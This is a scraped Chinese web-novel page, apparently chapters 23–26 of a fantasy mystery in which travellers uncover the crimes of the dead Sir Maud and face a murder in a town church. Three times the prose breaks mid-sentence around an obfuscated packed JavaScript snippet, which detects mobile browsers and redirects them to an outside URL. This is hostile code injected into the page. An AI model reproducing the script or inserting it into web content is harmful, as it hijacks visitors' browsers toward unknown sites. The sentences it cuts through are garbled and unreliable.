“因为很少，所以不会怎么样。”卡里斯托的眼里闪过冷冷的笑意，“你们以为这里是什么地方？想要在镇上过得下去，就必须同意大多数人的看法。” “是吗。”杰拉尔德冷笑了一声，“哪都是一样。” “我先带你回旅馆。”他对拉维妮娅说，“之后再回来把那两位少爷小姐弄出来。” “这样变数太大了。”拉维妮娅不赞同地说，“谁知道这段时间会发生什么？” “但是再不处理一下你的手就要废了，下垂眼小姐。”杰拉尔德皱起眉头看着她，“你必须现在就回去，我保证我会把你们都救出来的，怎么样？” “……你是有什么英雄主义情结吗？” 身后的门传来一阵响动，他们同时转过去，看见宅子的后门进来一个瘦高的身影。 “怎么回事，卡尔？”人影把陶罐放在一边，摘下头上的帽子，“我们在前面敲了半天也没人开门，还好我记得你没有白天锁后门的习惯……” “……这是怎么回事？” 旅馆的老板萨拉女士脸色苍白地站在后门的门口，手里还抓着她的帽子。 在站着的地方角度很碰巧，刚好能望进那个打开门的小房间，看见莫德爵士大张的眼睛和灰白的脸。 拉维妮娅不动声色地挪向墙边，把自己靠在墙上。 “杰里。”她小声说，“动手。” 杰拉尔德在下一秒冲出去，抓住萨拉细瘦的胳膊，把她摁在墙上。 “您最好什么也没看到，小姐。” “等等！”萨拉说，她的声音在发抖，却不是见到尸体的崩溃，“我能帮你们，这位小姐的伤势需要处理，对吧？” 23. 第 23 章 “我知道这里药箱的位置，平常也有处理伤员的经验。”萨拉继续说，“你们会需要我帮忙的。” 她黑沉沉的眼睛直勾勾地望着他们，眼神平静：“你们可以用控制法阵，吐真药水，或者随便什么东西。我什么都不会说出去的——我发誓。” “您向什么起誓，萨拉小姐？”拉维妮娅勉强撑起身子，和她对望。 “向我的老师。”萨拉说，“我最敬重的人，如果我可以为她做任何事，我会的。” “她是谁？” “您已经猜到了，对吧？”萨拉看着拉维妮娅，那张因为常年抿嘴而显得刻薄的脸上露出些温和的神色来，“是爱丽丝.莫德夫人。” “我知道了。”拉维妮娅说，“我相信您，萨拉小姐。” “你知道了？”杰拉尔德挑眉看着她，“你最好真的知道。” “你看上去也没反对。”拉维妮娅习惯性地想抱住胳膊，又龇牙咧嘴地放弃了。 杰拉尔德放开萨拉，带着她走回拉维妮娅旁边。 “您说的药箱在哪里？” “储物室，就在前面一些。”萨拉揉了揉胳膊，重新拿起地上的陶罐，“我得先和门房交待一声，不然他等不到回应要撞门了，不放心的话你们可以跟着我——你们该庆幸，这房子里上上下下只有卡尔一个佣人。” 她顿了一下，接着说：“不过你们最好放了他，除了他，没人能搞定她妹妹——那姑娘可比他可怕多了。” “这我可不放心。”杰拉尔德说，“先做好您承诺要做的吧。” 萨拉在检查完拉维妮娅的伤势后，看起来有些惊讶。这不奇怪，拉维妮娅的上衣几乎完全被染成了暗红色，如果这些都来自于她自己，那么她显然是时日无多了。但幸运的是，她的身上并没有明显的外伤——得益于她孤注一掷的决策，莫德爵士为这件衣服贡献了绝大部分的染料。 不过萨拉很快收起了惊讶的神色，动作迅速地从柜子里找出了绷带和药膏。她细长的手指麻利地上下翻飞，就像她在旅馆里端着餐盘时一样，即使脸上的表情显得严肃阴沉，动作却又稳又快。 “你们最好换身衣服。”她一边给拉维妮娅的右手上药一边说，示意“要是就穿成这样离开这里，不出一刻钟整个镇子都会知道不对劲的。” “只要您不说，我们会处理好自己的问题。”杰拉尔德靠在门边说。 他们刚刚在储藏室意外找到了之前被迷晕后丢失的武器，莫德爵士显然没对这些武器费心，把它们随手丢在储藏室的门边。拉维妮娅现在没法用枪，杰拉尔德正思考着怎么把它们一起挂在腰带上。 “我能理解您的防备心。”萨拉没什么感情地笑了一下，用夹板固定好拉维妮娅的左手，把手臂固定在胸前，“但其实您不必要这么做，我帮助你们，是因为我有自己的私心——好了小姐，最近几天您最好都保持这样，不要乱动。” 萨拉站起身来，看着他们，郑重地说：“我希望你们能帮我找到爱丽丝.莫德夫人，我的老师，也是那位莫德爵士的妻子——她已经失踪快一年了，我怀疑她就在这座宅子里。” 艾希莉有些头脑发懵。 她正躺在一张柔软的床垫上，手臂挨着床单上微微凸起的精美刺绣，头靠着散发着安神香料气息的软枕，目光所及之处，是头顶吹下的帐幔和流苏装饰。她的眼睛转了转，房间里颜色鲜艳、装饰梦幻，床头上还坐着几个棉布做成的娃娃。 这里看起来就像少女的闺房。 让她做出这样判断的倒不只是房间的陈设，主要是那名叫勒托的少女，正抱着一只娃娃坐在床边的地板上，一只手托腮，眨巴着眼睛看着她。 “你醒啦。”她轻声说，睫毛上下翩飞，“你睡了好久啊……对不起呀，我也不想这样的。” “……这是你的房间吗？”艾希莉费力地坐起来，感觉思绪还在脑海里像好几根不同颜色的棉线，杂乱地互相绕在一起，“现在是什么时候了？我表哥和拉维妮娅小姐呢？” “放心吧，他们没事的。”勒托摇摇头，“父亲是个好人，不会把他们怎么样的。以前也是这样，他只是想让爱丽丝高兴一些，还有……” 艾希莉本能地觉得有哪里不对劲，但她晕乎乎的，记忆也不甚清晰，只好顺着勒托的话问下去。 “还有？” “他想让我多见见他们，那些男人。”勒托犹豫着说，“我见了好多人，但他们听不到我说话，我也听不到他们，所以我只好走掉。父亲说他会找一些能和我交流的男人来的，但是他们又都晕着，也没有办法和我说话。” 她垂下眼睛，浓密纤长的睫毛颤动着，星光混合着水光在她的眼里流转，看上去忧郁又烦恼，让人忍不住要去关心她，想给她一个拥抱。 “我就只好等他们醒来。可是他们醒来就想要逃跑，也不听我说话……” “勒托……”艾希莉从床垫上爬过去，双手拢住勒托的肩膀——她本来想把她拉到床垫上坐着的，毕竟她现在还光着脚，蹲坐在地上看起来很不舒适。但勒托的身体就像磐石一般纹丝不动，她只好屈服于自己微不足道的力气，放弃了这个想法。 “勒托，听我说，无论如何，我都是愿意相信你的。”她柔声说，“但是我实在是有点搞不懂了，这究竟是怎么回事？莫德爵士为什么要迷晕我们？你又是为什么非要见男人不可？” 不知道是不是她的问题太多了，勒托大睁着眼睛看着她，眼里疑惑与迷茫交织，半张着嘴，一直没有说话。 即使是这样，她的眼睛还是漂亮极了，有些空洞的瞳孔中似有星河流转，一眨不眨地看着前方。 艾希莉微微叹了口气，又放轻了些声音，再次问道：“勒托，为什么莫德爵士要……让我们晕过去？” “父亲说，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879070|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是基本的礼貌。”勒托眨眨眼，终于回答了她的问题，“很多人都会在这里突然变得疯狂，这样能让你们冷静一点，小睡一会能让神经得到休息。” 她凑近艾希莉，柔软冰凉的手指贴在她的脸侧。 “只是我没想到你睡了这么久……对不起。”她小心翼翼地说，“我真的很喜欢和你说话……请不要因此讨厌我。” “不，我不会的。”艾希莉说，她抿了抿嘴，真诚地看着勒托的眼睛：“我在学校没什么朋友，你愿意和我说话，我也很高兴。” “真的吗？”勒托爬到床垫上，高兴地抱了艾希莉一下。她的胳膊蹭过艾希莉的脖颈，艾希莉意识到，她的双臂也冷得像冰。 “这简直是我最高兴的一天。”她说，“你知道吗，艾希，以前镇子里的孩子总是不喜欢我，也不喜欢哥哥，从来都不跟我们玩……还说，我们是怪物，不可以碰到他们。” “我也是。”艾希莉说，挽住勒托的一只手臂，“学校里那些女孩总叫我傻丫头，怪人什么的。” “只有父亲和神父大人会和我们说话，父亲还雇了哥哥在这里干活，说我们可以一直住在这里。”勒托说，“所以我一直相信他们，相信父亲和神父大人可以解决一切……即使我也不知道为什么我会这样。” “你怎么了？”艾希莉看着她，“到底发生了什么？” “有一段时间，我突然觉得不对劲。”勒托轻轻把头靠在艾希莉的肩上，“我觉得……我的身体好像在发生某种变化，但我又很困倦，总是不想睁眼。但后来有一天我突然就不困了，甚至不想进行任何睡眠，我的身体就像被唤醒了一样，在不间断地发出一种讯息，让他们来这里见我。” “他们？那是谁？” “我不知道。”勒托说，“但来的都是男人，我不认识他们，他们也不认识我。父亲说我只是没有见到合适的男人，等我见到了，我会知道该怎么做的。” “勒托。”艾希莉极力运转着她混沌的脑瓜，希望用一种委婉一点的方法说出她的猜想，“你有没有想过，莫德爵士他其实……” 勒托却突然像听到了什么似的，从她的手臂里挣脱出来，直愣愣地向窗边走去。 “勒托？”艾希莉疑惑地看着少女的背影，“你怎么了？” 勒托没有回答她，只是一步又一步坚定地走向窗边，嘴里喃喃地说着什么。 她打开窗，向外面探出半个身子。 “勒托！”艾希莉站起来，几乎是跌跌撞撞地向少女扑过去。 但已经晚了。 当杰拉尔德打开房间的门时，看到的就是这样的景象。 美丽的少女想一片花瓣一般从窗口落下去，金发少女想要拉住她，却只捞住了一根衣带。 这一次，艾希莉听见了那句勒托喃喃着的、不断重复着的话。 “时间到了……他在叫我。” 24. 第 24 章 时间回到半个小时之前，杰拉尔德终于给那两把左轮在后腰上找到了位置，拧起眉头看向萨拉。 “您的意思是，您希望我们在这种情况下，替您在这幢宅子里找到失踪的莫德夫人？” “也许我之前忘了提到，现在我提醒您一下。”他说，“这里有一位伤员，我们还有两位同伴生死未卜，您觉得我们像是有余裕替您找人的样子吗？” “我不是说你们要立刻帮我找到她。”萨拉说，“但至少在你们还在莫德镇的时候，我希望你们能帮我这个忙——就这么把我放走你们也不放心，对吧？” 见杰拉尔德没有说话，她继续说：“我还可以顺便照料这位小姐的伤势，有需要的话，你们也可以继续住在我们家的旅馆，怎么样？” 杰拉尔德仍旧皱着眉头，没有开口。 拉维妮娅看了他一眼，猜想他多半是在犹豫。她垂下眼思考了一会，转头对萨拉说：“我可以考虑您的要求，萨拉小姐，但在此之前，我希望您能告诉我，为什么您需要我们帮您找到爱丽丝.莫德夫人？” 她直直地看着萨拉，即使在昏暗的储藏室里，那双琥珀色的眼睛也显得冰冷剔透。 “像您说的，这位爱丽丝夫人已经失踪一年了，而在着一年里，您应该有无数次机会进入这幢宅子——和我们这些外来者不同，您是本地人，甚至和宅子的门房、佣人关系都不错，在这里不会被任何人怀疑。更何况，您看起来对这幢宅子还很熟悉。” “告诉我，萨拉小姐，您是为什么不能亲自找到她？” 萨拉看着拉维妮娅的眼睛，许久，提起嘴角，露出一个勉强微笑。 “您很敏锐，小姐。”她说，“我确实有我的苦衷。” 她又笑了一下，这笑意显得有些冷，不知道在讽刺什么人，或是她自己。 “也算不上是苦衷……这都是我这个人罪有应得。” 旅馆的女老板向后退了一步，把细窄的肩膀靠在储物柜的一列竖格上，长长地呼了口气。 “你们不觉得有些奇怪吗？”她说，“卡里斯托和勒托明明是兄妹，但却只有勒托是彼得.莫德的养女，她的哥哥反而只能做佣人。” “您是说，他只收养了妹妹，这一点很奇怪？”拉维妮娅说，“的确，但也许他不想要继承人。只想要个女儿呢？这也是个人选择吧？” 萨拉又笑了一声。 “因为他总是这样。只收养女孩，只喜欢女孩，一个又一个。”她咬着牙，一字一顿地说，“他就是个丑陋、恶心、变态的老男人。他今年快六十岁了，领养了无数个女孩……包括我。” 她把头一起靠在储物柜上，眼里弥漫着浓浓的疲惫，好像为这个秘密耗尽了所有气力。 “我是他的养女……我是他的情妇。” 女人用她细长干枯的双手捂住脸，吃吃地笑起来。 “……我是被他抛弃的情妇。” 储藏室的空气陷入了长久的凝滞，只剩下萨拉近乎沙哑的笑声长久地回荡。 “……萨拉小姐。”不知过了多久，又也许只是一小会，拉维妮娅终于回过神来，“就算是这样，您的说法仍旧存在问题。” “是的。”萨拉说，嘴笑扔然挂着笑意，“我知道。” “您之前说，爱丽丝夫人是您的老师。” “彼得.莫德抛弃了我……在我不再年轻之后。”萨拉的黑眼睛盯着虚空中的一点，似乎是某段回忆让她渐渐平静了下来。 “但爱丽丝.莫德夫人救了我。她背着那个男人和我见面，教我识字，借给我她的书，鼓励我学习我之前从没想过的知识……即使她自身难保。” “彼得.莫德对她做了什么？”杰拉尔德开口问，他的声音低沉，像是压抑着什么情绪。 “她是第一个。”萨拉轻声说，她的嘴唇在细微地颤抖，“她是第一个被骗的女孩，那时她满怀希望，希望他能做她的老师，指导她的研究课题。” “他的确答应了，但他最终没让她发表任何成果，她莫名奇妙地在某一天成为了他的妻子，之后就一直被锁在房间里，好像她从来都不存在。” “如果不是有一天我碰巧走错了房间，我也不会认识她的，她对我来说也许就永远是一张画像，一个符号。”萨拉沉沉地吐了口气，“但就这么碰巧，我认识了她，这个世界上对我最好的人。可也是从那天开始，我不被允许随意在这里走动了，彼得.莫德几乎不放心任何人，连门房也不被允许进入这座宅子，我只有在几个特定房间活动的权利。” “而大约一年前，在我按惯例送来牛奶之后，我本来想找些借口多留一会，找机会见见她。这个时候，彼得.莫德突然态度强硬地要我离开。” “他也许发现了我偷偷见爱丽丝的事，我不能确定。我一直对他有一种恐惧，所以我很快离开了。而在那之前……我似乎看见，她的脸在窗口一闪而过。” 萨拉闭上了眼睛。 “我不能确定……但她的脸色很差，很苍白……我不能确定……她是不是在求救。” “但我就那么走了……而从那之后，我再也没看见她。” “你们说得对，我本来有机会的。”萨拉几乎是神经质般地抓挠着自己的眼眶周边，“但我是个愚蠢的懦夫……我错失了救她的机会，现在又害怕一个人见到她。” “所以我……我尽我的一切请求你们……帮我找到她。” 拉维妮娅在萨拉急促的呼吸声中转过头，探询地望向杰拉尔德。 她的同伴回望她，长长地叹了口气。 “我知道了。”他说，“我们会帮你找到她。但首先，我们得确认同伴的安危。” “当然，当然……”萨拉说，“……谢谢你们。” 杰拉尔德没再和她说话，他低头思考了一会，转身走出储藏室，回到被他五花大绑的卡里斯托面前。 后者大概是完全放弃挣扎了，还面朝下躺在原地。 杰拉尔德在他身边蹲下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879071|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你只想确定你妹妹没事，对吧？” 卡里斯托侧过头，用一只眼睛盯着他。 “是的，这是我唯一的要求。” 杰拉尔德点点头，掏出一枚颜色诡异的药丸。 “这是契约魔药，来自格雷菲尔的''女巫''小姐。”他说，“如果你能吃下它，并且保证，之后能帮助我们，不做任何不利于我和我同伴的事，我就放开你，我们一起去找你妹妹，怎么样？” 卡里斯托盯着他看了一会，沉默地点点头。 几分钟后，卡里斯托活动了一下麻木的四肢，带着他们来到了妹妹的房间门口。 杰拉尔德推开门，正赶上艾希莉趴在窗边，半个身子都在窗外摇摇欲坠。 他来不及过多思考，几步冲到窗边，拉着少女的领子，把她拖回了屋内。 “这是怎么回事？” “洛佩兹先生！”艾希莉愣愣地看着他，又猛地转回头，扑向窗边，“勒托她刚刚——” 窗台底下的草地上，只有一丛丛鲜花和疯狂飞舞的蝴蝶。 杰拉尔德再次把她拽回来，关上窗户。 “怎么回事，小姐？”他问，“你知道那些蝴蝶的磷粉有毒吧？” “不……不。”艾希莉看上去还没有恢复过来，“勒托她刚刚……跳下去了。” 她瘫坐在地板上，蓝眼睛没有焦点地在进屋的人之间转动着。 “我真的看见她跳下去了。”她说，“但是那里现在没有……我……我……” 杰拉尔德转头看向那位消失少女的兄长。 “原来是这样。”卡里斯托点点头，看上去并不意外，“别担心，她没事。” “她从二楼跳下去，不见了，但你确定她没事？”拉维妮娅眯起眼睛看向卡里斯托，“那她现在在哪？” “我不知道。”卡里斯托说，“她可能在任何地方，但我确信她没事。” 他从窗边转过身来，神色依旧平静。 “我还要帮助你们，对吧？”他说，“请吧，各位，我已经没有其他要确认的事了。” 拉维妮娅疑惑地看了他一眼，但现在有更要紧的事，她到底没有多问。 而此时，艾希莉像是突然清醒了一样，从地板上蹦了起来，瞪大眼睛环顾四周。看见拉维妮娅的时候，她的眼睛瞪得更大了，几乎是立即发出了一声尖叫，一阵风似的冲到拉维妮娅身边。 “拉维，拉维。”她几乎是无措地看着拉维妮娅，蓝眼睛里盈出一片扭曲的泪光，“你怎么了？我以为……” “这事说来话长。”拉维妮娅干巴巴地说，“来吧，我们现在要走了，你的表哥还不知道情况如何呢。” 他们很快找到了拉斐尔，他大概是刚刚被吵醒——大概率是他表妹的尖叫——在门被卡里斯托打开时，他正茫然地看着面前的窗户。 听见门口的响动，他像他的表妹一样，愣愣地转过头来，眼神中充满了迷茫。 “……我这是在哪？” 25. 第 25 章 “在你崇拜的彼得.莫德的宅子里，显而易见。”拉维妮娅说，“被偶像迷晕囚禁的感觉怎么样，拉斐尔先生？” 拉斐尔坐在房间中央的大床上，两眼迷蒙地看了他们一会，灰眼珠缓缓地转了一圈，眼神逐渐清明起来。当他的眼睛终于聚焦到什么东西上时，他坐直了身子，指着拉维妮娅暗红色的衬衫，发出了像他表妹一样的、少女般的尖叫。 “这到底是怎么了！你还好吗，拉维妮娅小姐？你看上去……呃……就是，状况不太妙。” “我活得好好的，不劳你操心。”拉维妮娅干巴巴地说，“起来吧拉斐尔少爷，我们该走了。” “不，可是……等等！”拉斐尔垂下头，胡乱揉了揉自己的眉心。 “我为什么突然晕过去了？……莫德爵士？我，我得见见他，我要找他问问清楚……” “你见不到他了。”拉维妮娅面无表情地说，“他死了。” “什么？”拉斐尔从宽大的床垫上连滚带爬地跳下来，在极度的震惊中打着结巴问：“他他他……他已经……为什么？” 艾希莉在表哥焦急的目光中狠命摇头，蓝眼睛里还充盈着泪光。 “因为他杀了很多人，是个人渣，所以该死。”杰拉尔德抱着胳膊说，“现在快走，各位，我送你们回旅馆，然后回来处理一下……莫德爵士。” 拉斐尔好不容易回归理智的脑子在现实接连的重击下看上去又有点不清醒了，他浑浑噩噩地跟在艾希莉身后下了楼——虽然他的表妹情况看起来也没比他好上多少。 他还在纠结着莫德爵士的事，下楼梯的时候趔趄了一下，扶住了楼梯一侧的墙壁。墙壁上的花纹墙纸粗糙的触感终于让他想起来抬起头看看路，也看到了一楼的血迹。 莫德爵士躺着的房间一直没有关门，血腥味混合著腐臭味在走廊里飘荡，拉斐尔的喉咙哽了一下，差点当场吐出来。 艾希莉比他里一楼更近一些，一只手捂着脸，不知道在想些什么。 拉斐尔在楼梯上缓了半天，压下了呕吐的欲望，才继续往楼下走。 这里实在是不适宜思考。他想，等到回了旅馆，我要喝一杯热茶，再吃点东西，到那时再整理整理思绪。 但他的鞋跟还没够着楼梯的最后一级台阶，一阵急促的敲门声就在前门响起来，打破了他美好的期望。 “莫德老爷！”门房在前门叫道，声音里带着些慌张的颤抖，“莫德老爷！您一定得来一下！教堂出事了！” 莫德老爷？莫德老爷还在地板上躺着呢。 这可不是什么开门的好时机。 “我们从后门走。”杰拉尔德说，“卡里斯托，麻烦你打发一下门房。” “不行。”萨拉上前一步，“外面的院子只有一个大门，就算从后门出去了，也还是要绕到前院。” 她叹了口气：“我本来想等到天色暗一些，再带你们混出去的，那时候大部分人不是去夜巡了就是在家，门房也好糊弄些。但现在……” “你们准备怎么办？”卡里斯托抱着胳膊说，“我是能拖会时间，但莫德爵士一直不出现，我也没有其他办法。” “怎么办？当然是在你拖时间的时候找机会走。”杰拉尔德有些焦躁地说，“难不成你指望我当场把彼得.莫德复活吗？” “不。”拉维妮娅突然开口打断了他们，“这样找离开的机会太难了，如果教堂真的发生了需要德高望重的人出面定夺的大事，他们不见到彼得.莫德是不会罢休的。” “……你打算怎么办？”杰拉尔德叹了口气问。 “让''莫德爵士''去见他们。” “什么？” “你去。”拉维妮娅看着杰拉尔德说，“把彼得.莫德的胡子头发什么的剪下来贴上，找点什么东西挡住脸，再穿上他平常穿的衣服……曲一点腿。” “你让我扮成他的样子去见门房？”杰拉尔德扬起眉毛，“真有想象力，小姐。要是露馅了怎么办？我可没什么乔装的经验。” “你找得到机会逃跑吗，冰块脸先生？我们不能再浪费时间了。” “我去拿剪刀和衣服。”萨拉很快接受了这个提议，“您只要装作不便说话就好了，剩下的交给卡里斯托。现在天色已经变暗一些了，大概率不会有人看出来的——还有您，拉维妮娅小姐，您也要换件衣服。” “……我还有最后一个问题。”在不断加重的敲门声里，杰拉尔德叹了口气，“为什么是我来？” “你是一个人来的，还是送货，门房不一定记得你走没走。”拉维妮娅说，“但拉斐尔是特意来拜访的，门房大概率有印象。最重要的是——彼得.莫德的眼睛也是蓝色的，你难道想让艾希莉担此大任吗？” “你赢了，下垂眼小姐。” 卡里斯托打开门，低头看向门房，这个皮肤黝黑的老头毛发稀疏的头顶上满是细密的汗珠。 “怎么了，汉斯先生？” “卡尔！”门房叫起来，“莫德老爷呢？” “他在上药，刚才喝茶的时候不小心烫伤了喉咙。不过萨拉小姐给他看过了，没有太大问题，就是说话有些困难——有什么事您先和我说吧。” “诶！”老汉斯粗砺的手掌在裤腿上使劲摩擦了几下，又抹了一把头上的汗水，才踌躇着说：“约翰逊的儿子死啦！就死在教堂里，他被发现的时候，神父大人就在他旁边呢！” “现在老约翰逊正拉着神父不让他走呢，其他人也不知道该怎么弄，再这么下去夜巡都没人去了，你快把莫德老爷带来吧！” 当杰拉尔德戴着宽檐帽、拉高领子，脸上粘着莫德爵士发臭的胡子出现在教堂时，受到了镇民们的热切欢迎。 “莫德爵士！您终于来了！” “我们镇上怎么出了这样的大事！” “莫德爵爷！快帮帮我们！” “莫德大人……” “好了，各位！”卡里斯托喊道，“莫德老爷现在喉咙受伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879072|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不便大声说话，他的意思我会代为转达的。现在，请你们组织一下语言，由一个人来解释一下，这里是什么情况？” 人群沉默了几秒，接着窃窃私语起来。拉维妮娅望着那片黑压压的人头，猜想大概镇子的一半人都聚在教堂里了。 过了一小会，人群里推出一个人来，搓着后脑勺说：“我，我是第一个看到的……今天下午，我本来在挑水浇园子，您知道的，莫德爵爷，我家里水源比较远，我为了超近道就从教堂旁边的小路走，相信全知全能的安布罗斯大人是不会介意我这一点小小的打扰……” “先生，麻烦说重点。”卡里斯托打断了他，“莫德老爷的时间很宝贵。” 那可不，拉斐尔咽了口唾沫想，不快点可就要露馅了。 “呃，好的，好的……我，我看见教堂顶上的''神眼''歪了，想去提醒一下神父大人，结果，结果一推门，就看见神父大人站在神坛前面，脚下还有些红色的液体，我一开始以为他是不小心打翻了葡萄酒呢，就跑进去想帮忙收拾收拾，结果近点了一看，哎呦！老约翰逊家的大孩子躺在神坛上，只有出的气没有进的气啦！再一看，那地上的哪里是葡萄酒，是血呀！我当时就……” 老约翰逊发出一声长长的嚎叫，抓紧了手里神父的袍子：“神父大人，我一直很相信您……可这是怎么回事啊！到底是谁，是谁害了我的儿子……他前几天还和我说，不想在教堂干了，我，我还说为什么不多干几年，神父对他也很好……” 被称为''神父大人''的男人是个高挑的中年男子，和这里的其他男人比起来，他似乎有些过于纤细了，脸色也更苍白些，双颊凹陷，说话时眉心和眼尾都有深深的皱纹，显得有些疲惫。不过他的衣服和脸都很干净，神色也温和，他微微弯下腰，托住约翰逊的手臂。天色在他他们到达教堂时已经完全黑下来，月光透过教堂的窗户落到神父的脸上，给他面无表情的脸上添上了几分圣洁的颜色。 “我理解您的心情。”神父说，“所以我留在这里，哪里也不走，请您不要太过伤心，您的家里还有小儿子和小女儿需要您。” 他抬起头，深深地向杰拉尔德的方向望了一眼。 “我相信，莫德爵士会找出凶手，给大家一个满意的结果的。” “这下糟了。”拉维妮娅闭眼揉了揉眉心，小声说。 “什么？”艾希莉凑到她身边，小心翼翼地贴着她的胳膊，“为什么？” “他们指望''莫德爵士''帮他们找到凶手。”拉维妮娅说，“这段时间会有无数双眼睛盯着他，如果不速战速决，事情就要变得复杂了。” “我觉得事情现在已经很复杂了。”拉斐尔嘟囔道，“你们难道知道凶手是谁吗？” 卡里斯托又说了些什么，人群开始逐渐散去。他们看向神坛，一个少年躺在上面，脸色已经变得灰白，两眼空洞地望着教堂大门的方向。他的周身都是凝固的暗红色痕迹，弯曲地延伸到神坛之下，他的父亲脚边。 26. 第 26 章 少年的父亲还死死地拽着神父的袍角。他的身体不断地向下滑去，指节用力到发白，仿佛抓着的那片衣料就是他最后的支点。 “神父大人……”他喃喃地说，“请您……请您告诉我……究竟是谁杀了我的儿子？” 神父吹着眼睛，月光在他的半张面孔上投下阴影。他的神色依旧柔和，保持着微微躬身的姿势，轻声重复道：“约翰逊先生，我相信，莫德爵士会给我们一个公正的交代的。” 镇民们几乎已经散尽了，教堂里除了神父和约翰逊，只剩下约翰逊的几个亲戚，以及杵在原地的“莫德爵士”一行人。 在神父温柔的“提醒”下，老约翰逊空洞的眼睛缓缓地转动了一下，落在迟迟未动的“莫德爵士”身上。 “莫德爵士……”他的声音里带着祈求，“我一直很相信您……” “等等，莫德老爷。”老约翰逊的一个亲戚叫起来，“那几个人是谁？好像不是我们镇上的吧？” “是啊……”另一个亲戚小声说，“虽说神父大人被看见在……但神父大人来咱们镇上这么多年了，也没出过这种事……这几个人倒是才看见来这……” “嘿，我想起来了，这不是昨天晚上被夜巡队碰上的那帮少爷小姐吗，我还记得那个金发姑娘……还是老约翰逊带他们到镇上的呢。” 老约翰逊的眼睛颤动了一下，身体快要落到地板上：“他们……” “莫德爵士”缠绕着布巾的高礼帽下，灰白的胡子装模作样地抖动了一会。 卡里斯托上前一步说：“这几位是莫德爵士的客人，今天下午一直在莫德爵士的宅子里，门房汉斯先生也能证明这件事。” “是吗。”神父眯了眯眼睛，“那么请问……” “不过，为了公平起见。”卡里斯托没给他机会问下去，“在这段时间里，我会负责看着他们，确保他们没有可疑的行踪。” “当然，也麻烦约翰逊先生和各位看着神父大人，就在……神父大人的房间吧，这也是为了让大家安心。” “像神父大人说的，给莫德老爷几天时间，一定会给大家一个公正的结果。” 神父直起身，望着卡里斯托，他的眼睛在月光下呈现出一种银白色，似有冰冷的笑意一闪而过。 他什么也没有再说。 萨拉走上前去，扶住了老约翰逊的肩膀，轻声说：“约翰逊先生，相信莫德爵士吧，让我来看看小约翰逊的……伤势。” 老约翰逊抬起头看她，这个父亲的眼里有深切的痛楚与疲惫。 “好的，好的……”他最后说，“我相信……我一直都相信莫德爵士。” 他缓缓地起身，手里还揪着神父袍子上的一小块布料。神父顺着他的姿势扶了他一把，把他带到一边。 死去的少年完全暴露在萨拉的视线之中，她踏过地上干涸的暗红色印记走到神坛边，月光均匀地洒在神坛上，照得少年的身躯仿佛一具灰白僵硬的大理石像。 他的胸膛上有一个拳头大小的豁口，边缘凹凸不平，像是被人徒手撕开的。在银白色的月光下，那道狰狞的伤口像是黑色的，连带着神坛的表面也被染得漆黑，黑洞洞地对着神坛上方的木制穹顶。 萨拉凑近了那道伤口，不顾浓郁的腥味，久久地盯着它。 她微不可查地皱了皱眉头。 “我大概知道了。”她抬起头说，“不过现在还没有办法确定，我会告诉莫德爵士，让他来定夺。” “现在，麻烦各位先回去吧，小约翰逊的遗体……也需要安葬。” 没有人再说话，老约翰逊的亲戚们沉默地开始收敛少年的尸体。老约翰逊看着儿子的身体被缓缓从神坛上抬起，发出了一声长长的、嘶哑的呜咽。 十几分钟后，莫德爵士的宅邸内，那间莫德爵士躺了大半天的房间里，聚起了一堆木柴。 “这个法阵能控制火势，保证火焰只在确定的范围内燃烧。”拉斐尔拿着小刀在房间的地板上刻上符文，“不过这里离地基还有一段距离，法阵的效率会受限，不知道最终效果会……” “用这个。”杰拉尔德抽出腰间的剑插到地板上，“这样导体矿的需求肯定够了。” “呃，这个。”拉斐尔为难地挠了挠自己棕色的卷发，“学术意义上来说这不是非常……算了，试试吧。” 火苗生起来，在短时间内就把整个房间映成了橙红色。但火焰没有点着任何不该点着的东西，像是被透明的罩子罩住了，只在原地剧烈地燃烧着。 “法阵生效了！”拉斐尔叫起来，“运转得很完美，真奇怪……啊，这把剑上的符文……” “这把剑上存在相似的控制符文。”杰拉尔德说，一只手还按在剑柄上，“这样导体矿的使用效率能提高。现在，快点做你该做的。” “啊，是的，当然！”拉斐尔手忙脚乱地从地板上爬起来，捡起木制平台上的残肢，扔进火堆里。 “这……这样真的好吗？”艾希莉拽着拉维妮娅的衣角，犹豫着问，“我们都不知道这些人是谁，要是他们的亲人……” “变成这个样子，也看不出来谁是谁了。”拉维妮娅说，“放在这里只会滋生瘟疫……而且，看这些……这些人的情况，大概都是这几个月的事，那个彼得.莫德本人应该也已经处理过很多次了。” “那……那……” “如果这些人的私人物品还留在这幢宅子里，也许还能确定他们的身份。”拉维妮娅用勉强能动的右手拍了拍艾希莉的手，“如果你想帮他们，就留意一下吧。” 